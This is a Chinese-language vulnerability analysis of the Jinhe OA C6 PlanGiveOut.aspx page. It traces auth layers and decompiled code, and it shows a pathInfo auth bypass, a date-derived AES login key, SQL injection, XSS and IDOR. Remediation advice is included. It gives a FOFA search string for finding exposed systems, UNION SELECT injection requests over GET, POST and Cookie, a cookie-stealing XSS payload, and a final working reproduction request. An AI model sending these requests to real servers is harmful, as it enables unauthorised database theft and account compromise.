漏洞简介
金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和OA C6 PlanGiveOut.aspx 接口处存在SQL注入漏洞、XSS漏洞、越权访问IDOR漏洞,攻击者除了可以利用SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
影响版本
金和OA C6
fofa语法
app="金和网络-金和OA”
漏洞分析
攻击链全景
flowchart TD
ATK(["👤 攻击者(公网·零凭据)"])
subgraph BYPASS["① 鉴权绕过(二选一)"]
direction LR
B1["pathInfo 绕过<br/>请求加 <code>/x</code> 后缀<br/><b>零成本</b>"]
B2["LoginByURL 日期密钥<br/>AES Key=当天日期×4<br/>免密登录"]
end
subgraph VULN["② PlanGiveOut 漏洞(未授权可达)"]
V1[["SQL 注入<br/>planid/httpOID 拼接<br/>→ 拖库/提权"]]
V2[["IDOR 越权<br/>枚举 planid<br/>→ 查看他人数据"]]
V3[["XSS<br/>isCopy 反射 / DB字段存储"]]
end
SINK[["SQL Server<br/>new SqlCommand 拼接SQL<br/>SqlDBOperator.cs"]]
ATK --> B1 --> V1 & V2 & V3
ATK --> B2 --> V1 & V2 & V3
V1 --> SINK
classDef attacker fill:#fee,stroke:#c33,stroke-width:2px,color:#900
classDef bypass fill:#fff3cd,stroke:#856404,stroke-width:2px
classDef vuln fill:#f8d7da,stroke:#721c24,stroke-width:2px
classDef sink fill:#d4edda,stroke:#155724,stroke-width:2px
class ATK attacker
class B1,B2 bypass
class V1,V2,V3 vuln
class SINK sink
一、鉴权分析
1.1 鉴权方式总览
PlanGiveOut 的鉴权由 四层构成,但实际防护极度薄弱:
| 层级 | 机制 | 代码位置 | 实际效果 |
|---|---|---|---|
| ① web.config | ASP.NET 内置 forms 认证 | web.config |
仅要求"已登录",无角色限制 |
| ② Global.asax | 全局鉴权事件 | Global.cs |
空实现,无自定义鉴权 |
| ③ 基类 Page | 强制角色/模块校验 | Page.cs(OnLoad) |
未调用,无强制鉴权 |
| ④ 业务页 | 页面级鉴权 | PlanGiveOut.cs 全文 |
无 RoleCtrl/KeyCtrl 调用 |
flowchart LR
REQ(["HTTP 请求<br/>PlanGiveOut.aspx"])
subgraph L1["① web.config"]
W["allow users=*<br/>deny users=?<br/>仅拦截匿名"]
end
subgraph L2["② Global.asax"]
G["BeginRequest: {} 空<br/>AuthenticateRequest: {} 空"]
end
subgraph L3["③ 基类 Page"]
P["OnLoad 仅读 UserCode<br/>RoleCtrl/KeyCtrl 需主动调用"]
end
subgraph L4["④ PlanGiveOut"]
PL["Page_Load 无 RoleCtrl<br/>ShowPlanInfo 无归属过滤"]
end
REQ --> L1 -->|放行已登录| L2 -->|空实现·直通| L3 -->|未强制调用| L4 -->|业务逻辑执行| DONE(["⚠️ 漏洞触发"])
classDef layer fill:#e7f3ff,stroke:#2c6faa,stroke-width:1px
classDef leak fill:#f8d7da,stroke:#721c24,stroke-width:2px
class L1,L2,L3,L4 layer
class DONE leak
① web.config 认证配置
<authentication mode="Windows"> <!-- -->
<forms name="authenticationcookie" <!-- -->
loginUrl="JHSoft.Web.CustomQuery/info.aspx"
protection="All" path="/" timeout="10">
</forms>
</authentication>
<authorization>
<allow users="*"></allow> <!-- 允许所有(已认证)用户 -->
<deny users="?"></deny> <!-- 拒绝匿名用户 -->
</authorization>
mode="Windows" 与 <forms> 子节点共存属反常配置,实际由 forms 票据(authenticationcookie)生效。<deny users="?"> 仅拦截匿名用户——只要持有任意有效登录态即放行,不校验角色/模块权限。
② Global.asax 全局鉴权事件为空(Global.cs)
// JHSoftWare.dll → JHSoftWare.Global(Global.asax.cs)
protected void Application_BeginRequest(object sender, EventArgs e)
{
} // Global.cs —— 空实现,请求入口阶段无任何检查
protected void Application_AuthenticateRequest(object sender, EventArgs e)
{
} // Global.cs —— 空实现,认证阶段无任何自定义逻辑
Application_BeginRequest(请求最早阶段)与 Application_AuthenticateRequest(认证阶段)均为空方法。系统没有任何自定义鉴权拦截器,鉴权 100% 依赖 ASP.NET 内置机制。
三个已注册 HttpModule(web.config)同样不拦截鉴权:
// JHSoft.CustomQuery.HttpUploadModule.BeginRequest —— 仅处理上传,其余 return
private void Application_BeginRequest(object sender, EventArgs e)
{
string text = context.Request.Path.ToLower();
if (text.IndexOf("uploadfileiframe.aspx") == -1 // :只认上传页
&& text.IndexOf("uploadvideofileiframe.aspx") == -1
&& text.IndexOf("addnewfile.aspx") == -1)
return; // 非上传页直接放行
...
}
// JHWeb.qqfly.Upload.HttpUploadModule.BeginRequest —— 仅处理上传请求体
// JHSoft.Log.LogHttpModule.BeginRequest —— 完全空方法 {}
③ 基类 JHSoft.Base.Page 提供了鉴权方法但未强制调用(Page.cs)
// JHSoft.Base.dll → JHSoft.Base.Page(所有业务页基类)
public class Page : Page // Page.cs
{
protected override void OnLoad(EventArgs e) // Page.cs
{
...
if (HttpContext.Current.Session["UserCode"] != null) // Page.cs
{
string text2 = this.Session["UserCode"].ToString(); // Page.cs
... // 仅读取用户配置(皮肤等),不做鉴权
}
this.OnLoad(e); // Page.cs
}
public bool RoleCtrl(string Role1, string Role2) // Page.cs —— 角色校验(需主动调用)
{
if (this.Session["UserCode"] != null) // Page.cs
text = this.Session["UserCode"].ToString();
if (text == "Admin") flag = true; // Admin 直接放行
...
}
public void KeyCtrl(string keyCode) // Page.cs —— 模块校验(需主动调用)
}
RoleCtrl/KeyCtrl 是可选方法,需业务页主动调用才生效。PlanGiveOut 从未调用它们(全文无 RoleCtrl/KeyCtrl),所以第 ③ 层形同虚设。
④ PlanGiveOut 自身无鉴权(PlanGiveOut.cs)
// JHSoft.Web.PlanSummarize.dll → JHSoft.Web.PlanSummarize.PlanGiveOut
protected void Page_Load(object sender, EventArgs e) // PlanGiveOut.cs
{
...
if (this.Session["UserCode"] != null) // PlanGiveOut.cs —— 仅"读取",非校验
this.strUserID = this.Session["UserCode"].ToString(); // PlanGiveOut.cs
...
this.ShowPlanInfo(this.strPlanID); // PlanGiveOut.cs —— 直接进入业务逻辑
}
Page_Load 仅读取 Session["UserCode"](第 212-214 行),没有用它做任何权限判断。strUserID 取了值却在 ShowPlanInfo 中完全未参与 SQL 过滤(详见 2.3 IDOR)。
1.2 鉴权绕过
系统存在 两条独立的鉴权绕过路径,使 PlanGiveOut 的所有漏洞升级为未授权可达。
绕过方式 A:pathInfo 鉴权绕过(零成本,全站性)
现象(实测):/PlanGiveOut.aspx 与 /PlanGiveOut.aspx/(带尾斜杠)返回 302 跳登录;而 /PlanGiveOut.aspx/Planselect、/PlanGiveOut.aspx/PlanGiveOut、/PlanGiveOut.aspx/任意字符 不触发鉴权,直接响应。
根因:IIS 集成模式 + ASP.NET 4.x 下,带 pathInfo(.aspx/附加路径)的 URL 在 AuthorizeRequest 阶段的鉴权判定与纯页面 URL 不一致,<deny users="?"> 规则匹配不到带 pathInfo 的请求。
关键佐证(web.config):
<pages validateRequest="false" enableEventValidation="false"
enableViewStateMac="false"></pages> <!-- 三防护全关 -->
<httpRuntime requestValidationMode="2.0" .../> <!-- -->
<validation validateIntegratedModeConfiguration="false"/> <!-- 关闭集成模式校验 -->
关键性质:绕过与附加路径内容无关,只要存在 .aspx/yyy 结构即生效——PlanGiveOut 代码中无任何 [WebMethod],因此 /Planselect、/PlanGiveOut 并非调用特定方法,而是 pathInfo 结构本身让鉴权模块"看不见"该请求需鉴权。由于 Global.cs、三个 HttpModule、基类均不拦截 .aspx/(1.1 节已逐层确证),此绕过为全站性,适用于任意 .aspx 页面。
GET /JHSoft.Web.PlanSummarize/PlanGiveOut.aspx/x → 绕过 <deny users="?"> ,未授权直达
GET /JHSoft.Web.PlanSummarize/PlanGiveOut.aspx → 正常鉴权,302 跳登录
GET /JHSoft.Web.PlanSummarize/PlanGiveOut.aspx/ → 尾斜杠被规范化,无 pathInfo,302 跳登录
绕过方式 B:LoginByURL 日期密钥免密登录
入口:Jhsoft.Web.login/LoginByURL.aspx → LoginByURL.cs(JHSoft.Web.Login.dll)。
Decryptstr 方法用当天日期派生 AES 密钥(LoginByURL.cs):
// LoginByURL.cs
byte[] bytes = Encoding.Default.GetBytes(
DateTime.Now.ToString("yyyyMMdd") + DateTime.Now.ToString("yyyyMMdd"));
// IV = 当天日期重复 2 次,如 "2026072920260729"(16 字节)
byte[] bytes2 = Encoding.Default.GetBytes(
DateTime.Now.ToString("yyyyMMdd") + DateTime.Now.ToString("yyyyMMdd")
+ DateTime.Now.ToString("yyyyMMdd") + DateTime.Now.ToString("yyyyMMdd"));
// Key = 当天日期重复 4 次,如 "20260729"×4(32 字节)
aES.CreateKey(bytes2, bytes); // 用完全可预测的密钥解密登录凭据
AES 类(JHSoft.CustomQuery.dll → AES.cs)是标准 Rijndael,CreateKey 直接采用传入 Key/IV,无 KDF、无加盐:
// AES.cs
public void CreateKey(byte[] keyInfo, byte[] IVInfo)
{
rij = Rijndael.Create(); // AES.cs
rij.IV = IVInfo; // AES.cs —— 直接用传入 IV
rij.Key = keyInfo; // AES.cs —— 直接用传入 Key
}
数据流转:
攻击者(已知当天日期)本地计算 Key/IV
→ AES 加密 "username=password=timestamp(当前时间)"
→ GET /Jhsoft.Web.login/LoginByURL.aspx?<Base64密文>
↓ LoginByURL.cs Decryptstr 用【相同日期密钥】解密 → "Yes"
↓ LoginByURL.cs roles.GetUserID(username) 取真实用户ID
↓ LoginByURL.cs 签发 FormsAuthenticationTicket(600 分钟有效)
↓ LoginByURL.cs FormsAuthentication.Encrypt → 写 authenticationcookie
↓ LoginByURL.cs CreateSession(text)
↓ CreateSession → LoginByURL.cs Session["UserCode"] = 该用户UserID
→ 攻击者获得有效登录态
时间校验仅 ±1 分钟(LoginByURL.cs),即时生成即时使用即可,不构成障碍。
flowchart TD
subgraph LOCAL["攻击者本地(已知服务器当天日期,如 20260729)"]
D["日期派生密钥<br/>Key = 20260729 ×4 = 32字节<br/>IV = 20260729 ×2 = 16字节<br/><i>AES.cs 直接采用,无 KDF/加盐</i>"]
ENC["AES 加密<br/>明文 = username=password=timestamp<br/>→ Base64"]
D --> ENC
end
REQ["GET /Jhsoft.Web.login/LoginByURL.aspx?<密文>"]
subgraph SRV["服务器 LoginByURL.cs"]
DEC["Decryptstr<br/>用<b>相同日期密钥</b>解密 → 'Yes'"]
UID["GetUserID<br/>取真实用户ID"]
TKT["FormsAuthenticationTicket<br/>有效期 600 分钟"]
COOKIE["写入 authenticationcookie"]
SESS["CreateSession<br/>Session['UserCode'] = UserID"]
DEC --> UID --> TKT --> COOKIE --> SESS
end
WIN(["✅ 获得有效登录态<br/>可访问 PlanGiveOut"])
ENC --> REQ --> SRV --> WIN
classDef local fill:#fff3cd,stroke:#856404,stroke-width:2px
classDef server fill:#e7f3ff,stroke:#2c6faa,stroke-width:1px
classDef win fill:#d4edda,stroke:#155724,stroke-width:2px
class D,ENC,REQ local
class DEC,UID,TKT,COOKIE,SESS server
class WIN win
二、代码分析
2.1 入口文件与反编译定位
PlanGiveOut.aspx (前台)
└─ Inherits="JHSoft.Web.PlanSummarize.PlanGiveOut"
└─ 编译于 JHSoft.Web.PlanSummarize.dll → 反编译得 PlanGiveOut.cs
└─ 数据访问调用 DBOperatorFactory.GetDBOperator()
└─ JHSoft.IDAL.dll → SqlDBOperator(实现类)
Page_Load(PlanGiveOut.cs)从请求取参数、调用 ShowPlanInfo:
protected void Page_Load(object sender, EventArgs e)
{
if (this.Request.QueryString["isCopy"] != null) // —— 反射XSS Source
this.isreadonly = this.Request.QueryString["isCopy"]; // —— 原样赋值无校验
...
if (this.Request["planid"] != null) // —— SQL注入 Source
this.strPlanID = this.Request["planid"].ToString(); // if (this.Session["UserCode"] != null) // this.strUserID = this.Session["UserCode"].ToString(); // —— 取了但查询不用
if (this.Request["httpOID"] != null) // —— 第二个注入 Source
{
this.strPlanID = this.Request["httpOID"].ToString(); // —— 覆盖 planid
this.strHttpOID = this.strPlanID;
}
this.ShowPlanInfo(this.strPlanID); // —— 进入注入 Sink
}
2.2 反编译关键 DLL — SQL 注入 Sink 追踪
ShowPlanInfo(PlanGiveOut.cs)将 strPlanID 直接字符串拼接进 SQL:
private void ShowPlanInfo(string strPlanID) // PlanGiveOut.cs
{
DBOperator dBOperator = DBOperatorFactory.GetDBOperator(); // empty = " select UserID,username,planyear,... from [plan] left join ...";
empty = empty + " where planid=" + strPlanID; // —— 注入点①(数字型)
empty = empty + " select * from plancontent where planfatherid="
+ strPlanID + " order by plancontent.PlanID asc"; // —— 注入点②(数字型)
dataSet = dBOperator.ExecSQLReDataSet(empty); // —— 执行
...
// 二阶注入(来自首次查询结果)
empty = "select * from PlanContent where PlanContent.PlanFatherID=(";
empty = empty + " select top 1 PlanID from [Plan] where PlanFlag=" + text3
+ " and PlanYear=" + array[0]
+ " and PlanMonW=" + array[1]
+ " and RegCode='" + text6 + "' and PlanTypeID=" + text2 + ")"; // —— 注入点③
dataTable = dBOperator.ExecSQLReDataTable(empty); // }
逐层下沉到 SqlDBOperator(JHSoft.IDAL.dll),确证 零参数化:
// SqlDBOperator.cs
public override DataSet ExecSQLReDataSet(string QueryString) // {
DataSet dataSet = new DataSet();
ReturnMethord returnResult = ReturnDataSet;
ExecSQL(QueryString, dataSet, returnResult); // return dataSet;
}
private object ExecSQLNotInTrans(string QueryString, ...) // {
...
comm = new SqlCommand(QueryString, conn); // —— QueryString 即完整SQL
comm.CommandType = CommandType.Text; // —— 纯文本命令
...
ReValue = ReturnResult(comm, ReValue); // }
private object ReturnDataSet(SqlCommand comm, object ReValue) // {
SqlDataAdapter val = new SqlDataAdapter(comm);
((DataAdapter)val).Fill(ReValue as DataSet); // —— Fill 支持批处理
return ReValue;
}
Sink 确证:new SqlCommand(QueryString, conn)直接吞下拼接好的 SQL 字符串,CommandType.Text按原始 SQL 解析,SqlDataAdapter.Fill(DataSet)执行。整条链路无任何参数化绑定。
flowchart TD
SRC1(["Source ①②<br/>Request['planid'] / Request['httpOID']<br/>GET / POST / Cookie 均可"])
SRC3(["Source ③(二阶)<br/>DB: PlanFlag / RegCode"])
subgraph PLAN["PlanGiveOut.cs"]
LGET["取参数<br/>→ strPlanID"]
LSQL1["拼接<br/>where planid={strPlanID}"]
LSQL2["拼接<br/>where planfatherid={strPlanID}"]
LEXEC1["<br/>ExecSQLReDataSet(empty)"]
LSQL3["拼接<br/>where PlanFlag={text3}...RegCode='{text6}'"]
LEXEC2["<br/>ExecSQLReDataTable"]
LGET --> LSQL1 & LSQL2 --> LEXEC1
LSQL3 --> LEXEC2
end
subgraph DAL["JHSoft.IDAL → SqlDBOperator.cs"]
EDAL["ExecSQLReDataSet<br/>ExecSQLReDataTable"]
EEXEC["ExecSQLNotInTrans"]
ECMD["<br/>new SqlCommand(QueryString, conn)<br/><b>QueryString = 完整SQL,零参数化</b>"]
ETYPE["<br/>CommandType = Text"]
EFILL["<br/>SqlDataAdapter.Fill(DataSet)<br/><b>支持批处理/堆叠</b>"]
EDAL --> EEXEC --> ECMD --> ETYPE --> EFILL
end
DB[("🗄️ SQL Server<br/>联合查询 / xp_cmdshell")]
SRC1 --> LGET
SRC3 --> LSQL3
LEXEC1 --> EDAL
LEXEC2 --> EDAL
EFILL --> DB
classDef source fill:#fff3cd,stroke:#856404,stroke-width:2px
classDef biz fill:#e7f3ff,stroke:#2c6faa,stroke-width:1px
classDef dal fill:#f8d7da,stroke:#721c24,stroke-width:2px
classDef db fill:#d4edda,stroke:#155724,stroke-width:2px
class SRC1,SRC3 source
class LGET,LSQL1,LSQL2,LEXEC1,LSQL3,LEXEC2 biz
class EDAL,EEXEC,ECMD,ETYPE,EFILL dal
class DB db
2.3 存在的漏洞点
漏洞 1:SQL 注入(严重,Critical)
| 注入点 | 行号 | Source | Sink | 类型 |
|---|---|---|---|---|
| ① | PlanGiveOut.cs |
Request["planid"] |
ExecSQLReDataSet |
数字型 |
| ② | PlanGiveOut.cs |
Request["planid"]/httpOID |
同上 | 数字型 |
| ③ | PlanGiveOut.cs |
DB(PlanFlag/RegCode等) |
ExecSQLReDataTable |
二阶 |
- 支持方式:因
Request["planid"]为通用索引器(QueryString → Form → Cookies),GET / POST / Cookie 三种方式均可注入。 - 支持手法:
Fill(DataSet)支持批处理(第 246-247 行拼了两条 select,中间无分号即被分入两个 Table),故联合查询注入与堆叠注入均可。 - 类型校验在注入之后:
int.Parse(text4)在ExecSQLReDataSet之后执行,注入已完成,后续异常不影响效果。
漏洞 2:存储型 XSS(高)
PlanGiveOut.aspx 用 <%= %>(Response.Write 等价)输出数据库字段,仅 Replace("\n","<br>")、无 HTML 编码:
| 前台输出(ASPX) | 后端赋值(PlanGiveOut.cs) | DB 来源 |
|---|---|---|
<%=PrioPlanContent%> |
dataTable.Rows[i]["PlanContent"] |
PlanContent |
<%=strPlanSum%> |
PlanSumUp + Replace("\n","<br>") |
PlanSumUp |
<%=CurrentPlanContent%> |
dataSet.Tables[1][...]["PlanContent"] |
PlanContent |
<%=strLeaderIdea%> |
LeaderIdea + Replace("\n","<br>") |
LeaderIdea |
写入入口为计划录入页(WorkPlanAdd.aspx 等),写入后被本页未编码输出,触发于任何查看者(含领导/管理员)。
漏洞 3:反射型 XSS(高)— isCopy
Source(PlanGiveOut.cs):
if (this.Request.QueryString["isCopy"] != null) // —— 仅 QueryString
this.isreadonly = this.Request.QueryString["isCopy"]; // —— 无白名单校验
Sink(PlanGiveOut.aspx):
<body ... onselectstart="return !<%=isreadonly%>">
注入 ?isCopy=false;alert(document.cookie)// → 渲染为 onselectstart="return !false;alert(...)//" 触发执行。该参数只能经 GET(明确用 QueryString)。
漏洞 4:越权访问 IDOR(高)
strUserID取自 Session["UserCode"],但 ShowPlanInfo 的 SQL 完全未用 strUserID 做归属过滤(where planid=strPlanID)。任意已登录用户枚举 planid 即可越权查看他人/他部门的计划、总结、领导批示。
2.4 参数获取方式 / 请求方式分析
漏洞的可利用性首先取决于"参数从哪种 HTTP 请求里取"。ASP.NET 提供了多个取值 API,它们能触达的请求通道完全不同。本节逐参数对照源码确证。
2.4.1 ASP.NET 取值 API 的通道差异(原理)
| 取值写法 | 数据来源查找范围 | 可触达的请求通道 |
|---|---|---|
Request.QueryString["k"] |
仅 URL 查询串 | 只能 GET |
Request.Form["k"] |
仅 POST 请求体 | 只能 POST |
Request.Cookies["k"] |
仅 Cookie 头 | 只能 Cookie |
Request["k"] / Request.Params["k"] |
按序查 QueryString → Form → Cookies → ServerVariables | GET / POST / Cookie / 请求头均可 |
关键区别:Request["k"](通用索引器)不区分通道,会按固定顺序遍历所有集合。这意味着只要代码用它取参,攻击者就能选择最隐蔽的通道注入(如 Cookie,WAF 常不检查)。
2.4.2 逐参数对照源码
PlanGiveOut.Page_Load 中每个 Source 参数的读取方式:
| 参数 | 代码写法 | API 类型 | 可注入通道 | 对应漏洞 |
|---|---|---|---|---|
planid |
Request["planid"] |
通用索引器 | GET / POST / Cookie / 头 | SQL注入 ①②、IDOR |
httpOID |
Request["httpOID"] |
通用索引器 | GET / POST / Cookie / 头 | SQL注入(覆盖 planid) |
isCopy |
Request.QueryString["isCopy"] |
仅 QueryString | 只能 GET | 反射型 XSS |
源码印证(PlanGiveOut.cs 的 Page_Load):
// —— 通用索引器(多通道):SQL 注入面
if (this.Request["planid"] != null) // GET/POST/Cookie 均可
this.strPlanID = this.Request["planid"].ToString();
if (this.Request["httpOID"] != null) // GET/POST/Cookie 均可
this.strPlanID = this.Request["httpOID"].ToString();
// —— 仅 QueryString(单通道):反射 XSS 面
if (this.Request.QueryString["isCopy"] != null) // 只能 GET
this.isreadonly = this.Request.QueryString["isCopy"];
注意
planid与httpOID的覆盖关系:httpOID在planid之后读取,若两者同传,httpOID会覆盖planid。但两者都走通用索引器,注入通道一致,对攻击者无差别。
2.4.3 各通道的实际利用方式
① GET(URL 参数) — 最直接,但最易被 WAF/日志捕获:
GET /JHSoft.Web.PlanSummarize/PlanGiveOut.aspx/x?planid=1%20union%20select%20... HTTP/1.1
GET /JHSoft.Web.PlanSummarize/PlanGiveOut.aspx/x?isCopy=false;alert(1)// HTTP/1.1
② POST(请求体) — Request[] 同样接收,即使前端表单无该字段:
POST /JHSoft.Web.PlanSummarize/PlanGiveOut.aspx/x HTTP/1.1
Content-Type: application/x-www-form-urlencoded
planid=1 union select ...
③ Cookie 注入 — Request[] 会查找 Cookies 集合,隐蔽性最强(URL 干净,常绕过只检 URL 的 WAF/IDS):
GET /JHSoft.Web.PlanSummarize/PlanGiveOut.aspx/x HTTP/1.1
Cookie: planid=1 union select ...;
④ 反射型 XSS 的限制:isCopy 用 Request.QueryString,只能 GET。无法通过 POST/Cookie 触发该 XSS。
2.4.4 汇总
flowchart TD
REQ(["攻击请求"])
subgraph CH["注入通道(取决于取值 API)"]
direction LR
GET["GET URL参数<br/><i>planid / httpOID / isCopy</i><br/>QueryString + Request[]"]
POST["POST 请求体<br/><i>planid / httpOID</i><br/>Request[] 接收"]
COOKIE["Cookie 头<br/><i>planid / httpOID</i><br/>Request[] 接收·最隐蔽"]
end
subgraph API["取值 API 决定通道"]
Q["Request.QueryString<br/>= 只能 GET<br/><b>isCopy 专属</b>"]
R["Request[...] 通用索引器<br/>= GET/POST/Cookie/头<br/><b>planid · httpOID</b>"]
end
VULN{{"漏洞触发"}}
SQL["SQL 注入<br/>planid/httpOID"]
XSS["反射 XSS<br/>仅 isCopy·仅 GET"]
REQ --> CH
GET --> SQL & XSS
POST --> SQL
COOKIE --> SQL
Q -.->|限制| XSS
R -.->|多通道| SQL
SQL --> VULN
XSS --> VULN
classDef chan fill:#e7f3ff,stroke:#2c6faa
classDef api fill:#fff3cd,stroke:#856404,stroke-width:2px
classDef v fill:#f8d7da,stroke:#721c24,stroke-width:2px
class GET,POST,COOKIE chan
class Q,R api
class SQL,XSS,VULN v
结论:
- SQL 注入 / IDOR(
planid、httpOID):走Request[]通用索引器,GET、POST、Cookie 三通道均可。其中 Cookie 注入最隐蔽,是金和 OA 这类老系统(普遍用Request[])的典型绕 WAF 手法。 - 反射型 XSS(
isCopy):走Request.QueryString,仅 GET 单通道。 - 结合 1.2 节 pathInfo 绕过,任一通道均可叠加
/x后缀实现未授权利用。
2.5 结合鉴权绕过的未授权利用
经 1.2 节绕过后,上述漏洞全部未授权可达:
GET /JHSoft.Web.PlanSummarize/PlanGiveOut.aspx/x?planid=1 union select ...
↑ pathInfo 绕过鉴权(零成本) ↑ 未授权 SQL 注入
或经 LoginByURL 获得登录态后访问 /PlanGiveOut.aspx?planid=...。两条绕过路径均使 PlanGiveOut 的 SQL 注入、IDOR、XSS 降级为未授权可达,无需任何账号凭据。
三、修复建议
| 漏洞 | 修复措施 | 关键代码指针 |
|---|---|---|
| SQL 注入 | 改用参数化查询(底层已支持) | SqlDBOperator.ExecSQLParameterReDataSet(接 IDataParameter[]);planid/httpOID 入口加 int.TryParse |
| pathInfo 绕过 | Global.asax 的 BeginRequest 拦截 .aspx/ 路径;或 URL Rewrite;升级 .NET 补丁 |
Global.cs 当前为空 |
| 存储型 XSS | <%= %> 改 <%: %>(自动 HtmlEncode) |
PlanGiveOut.aspx |
| 反射型 XSS | isreadonly 服务端计算,不接受 Request["isCopy"] |
PlanGiveOut.cs |
| IDOR | ShowPlanInfo 的 WHERE 加 RegCode=@UserID 归属校验 |
PlanGiveOut.cs |
| LoginByURL 绕过 | 密钥不可由日期派生;改随机密钥或 HMAC 签名 | LoginByURL.cs |
| 鉴权强化 | 业务页加 RoleCtrl/KeyCtrl;Application_AuthenticateRequest 实现强制校验 |
Page.cs、Global.cs |
四、漏洞汇总
| # | 漏洞 | 等级 | 利用条件 | 未授权可达 |
|---|---|---|---|---|
| 1 | SQL 注入(planid/httpOID) |
严重 | pathInfo 绕过后零认证 | ✅ |
| 2 | 二阶 SQL 注入 | 高 | 同上 | ✅ |
| 3 | pathInfo 全站鉴权绕过 | 严重 | 改 URL 加 /x |
— |
| 4 | LoginByURL 日期密钥绕过 | 严重 | 已知服务器日期 | — |
| 5 | 存储型 XSS | 高 | 触发需他人查看 | — |
| 6 | 反射型 XSS(isCopy) |
高 | pathInfo 绕过后未授权 | ✅ |
| 7 | IDOR 越权 | 高 | pathInfo 绕过后未授权 | ✅ |
核心结论:PlanGiveOut.aspx 存在 SQL 注入、XSS、IDOR 等漏洞,且系统存在 pathInfo 全站鉴权绕过与 LoginByURL 日期密钥绕过两条独立绕过路径,使上述漏洞全部升级为未授权、零成本可达,构成从公网直接拖库的 Critical 级风险。
flowchart LR
NET(("🌐 公网<br/>攻击者"))
subgraph GATE["鉴权层"]
direction TB
NORMAL["正常请求<br/>PlanGiveOut.aspx<br/>→ 302 拦截 ✓"]
BYPASS1["pathInfo 绕过<br/>PlanGiveOut.aspx/x<br/>→ 未授权 ✗"]
BYPASS2["LoginByURL 密钥<br/>日期派生AES<br/>→ 免密登录 ✗"]
end
subgraph CORE["业务漏洞层(经绕过·未授权)"]
direction TB
SQL["🔥 SQL 注入<br/>planid 拼接<br/>→ 拖库/RCE"]
IDOR["🔓 IDOR<br/>枚举 planid<br/>→ 越权查看"]
XSS["💉 XSS<br/>isCopy / DB字段<br/>→ 盗Cookie"]
end
IMPACT[["💥 影响<br/>数据库泄露 / 服务器控制<br/>零凭据·从公网直达"]]
NET --> NORMAL
NET --> BYPASS1 & BYPASS2 --> CORE --> IMPACT
classDef net fill:#e2e3e5,stroke:#383d41
classDef blocked fill:#d4edda,stroke:#155724,stroke-width:2px
classDef broken fill:#f8d7da,stroke:#721c24,stroke-width:2px
classDef impact fill:#fee,stroke:#c33,stroke-width:2px,color:#900
class NET net
class NORMAL blocked
class BYPASS1,BYPASS2,SQL,IDOR,XSS broken
class IMPACT impact
漏洞复现
GET /C6/JHSoft.Web.PlanSummarize/PlanGiveOut.aspx/xxx HTTP/1.1
Host:
Cookie: planid=1 union all select 1,2,3,4,5,6,7,@@version,9,10,11,12,13-- aa;



